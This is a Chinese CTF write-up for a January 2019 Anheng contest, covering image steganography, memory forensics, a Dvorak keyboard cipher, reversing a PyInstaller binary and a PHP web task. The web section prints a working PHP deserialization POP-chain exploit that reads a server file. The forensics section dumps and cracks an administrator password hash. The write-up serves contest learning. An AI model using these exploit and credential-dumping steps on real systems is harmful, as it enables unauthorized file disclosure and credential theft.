CTF-安恆19年一月月賽部分writeup
MISC1-贏戰2019
是一道圖片隱寫題
linux下可以正常打開圖片,首先到binwalk分析一下。
里面有東西,foremost分離一下
有一張二維碼,掃一下看看
好吧 不是flag,繼續分析圖片,在winhex沒有發現異常,那么上神器StegSolve分析一下
第一次翻了一遍圖層沒發現,眼瞎第二次才看見
flag{You_ARE_SOsmart}
提交md5即可
MISC2-memory
內存取證
既然是內存取證直接上volatility
首先分析一下鏡像信息
#volatility -f memory imageinfo
可以看到是32位鏡像,所以配置使用--profile=WinXPSP2x86
題目要求找出管理員登陸密碼,所以直接hashdump即可
c22b315c040ae6e0efee3518d830362b這一段便是admin的密碼hash,到somd5解一下 https://www.somd5.com/
然后將123456789md5一下就可以了
flag{25f9e794323b453885f5181f1b624d0b}
CRYPTO1-鍵盤之爭
題目提示 聽說過鍵盤之爭嗎,好吧真沒聽說過,那就百度一下,然后了解到還有其他不同於市面上的普通鍵盤的鍵位排列
所以flag就是對着換一下字母即可 y對應Dvorak鍵盤的f p對應Dvorak鍵盤的l ......然后一個一個換出來即可
flag{this_is_flag}
md5處理提交
flag{951c712ac2c3e57053c43d80c0a9e543}
REVERSE1-來玩蛇吧
題目給了一個exe文件和一個pyc文件,但是pyc文件反編譯失敗了,但是pyc肯定不是白給的,應該是某種提示,所以找了一番后,發現可以使用 pyinstxtractor.py腳本(下載地址:https://sourceforge.net/projects/pyinstallerextractor/)反編譯題目給出的.exe文件
編譯出不少東西,但是有用的只要AnhengRe文件
然后用winhex打開文件修復文件頭增加頭部
改后綴為.pyc,到https://tool.lu/pyc/反編譯一下即可得到源碼
#!/usr/bin/env python # encoding: utf-8 # 如果覺得不錯,可以推薦給你的朋友!http://tool.lu/pyc import os n1 = input('Tell me your name?') n2 = input('Tell me your pasw') n11 = chr(ord(n1[0]) + 12) s = '' st3 = '51e' st2 = '9f1ff1e8b5b91110' st1 = 'c4e21c11a2412' st0 = 'wrong' if n11 + 'AnHeng' == n2: for i in range(0, 4): s += st1[3 - i] print('Congratulations') ts = st2[0] + st3 + st2[1] + s print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}') os.system('pause') else: print('no,' + st0) import os n1 = input('Tell me your name?') n2 = input('Tell me your pasw') n11 = chr(ord(n1[0]) + 12) s = '' st3 = '51e' st2 = '9f1ff1e8b5b91110' st1 = 'c4e21c11a2412' st0 = 'wrong' if n11 + 'AnHeng' == n2: for i in range(0, 4): s += st1[3 - i] print('Congratulations') ts = st2[0] + st3 + st2[1] + s print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}') os.system('pause') else: print('no,' + st0)
然后將多余代碼全部刪除
#!/usr/bin/env python # encoding: utf-8 # 如果覺得不錯,可以推薦給你的朋友!http://tool.lu/pyc import os s = '' st3 = '51e' st2 = '9f1ff1e8b5b91110' st1 = 'c4e21c11a2412' st0 = 'wrong' print('Congratulations') ts = st2[0] + st3 + st2[1] + s print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
運行即可得到flag
flag{5c4e21c11a24129f1ff1e8b5b911101e}
復現的web1
源碼
<?php @error_reporting(1); #include 'flag.php'; class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new sec; } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename; public $nice; public $amzing; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } } class sec { function read() { return "it's so sec~~"; } } if (isset($_GET['data'])) { $Input_data = unserialize($_GET['data']); echo $Input_data; } ?>
php 反序列化pop鏈構造
sec類中的read函數直接返回了一個字符串,但是cool類中的read函數執行了file_get_contents,baby雖然調用了sec類,但是通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來
利用腳本構造poc,來調用cool類中定義的read函數
<?php @error_reporting(1); class baby { protected $skyobj; public $aaa; public $bbb; function __construct() { $this->skyobj = new cool; } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename = "flag.php"; public $nice; public $amzing; function read() { $this->nice = unserialize($this->amzing); $this->nice->aaa = $sth; if($this->nice->aaa === $this->nice->bbb) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } } } } echo urlencode(serialize(new baby())); ?>
這里直接沒有構造amazing,所以實例化的this->nice為空,后面的也就全都是空值,if條件里的判斷也就繞過了
給data傳參后,查看網頁源代碼,得到flag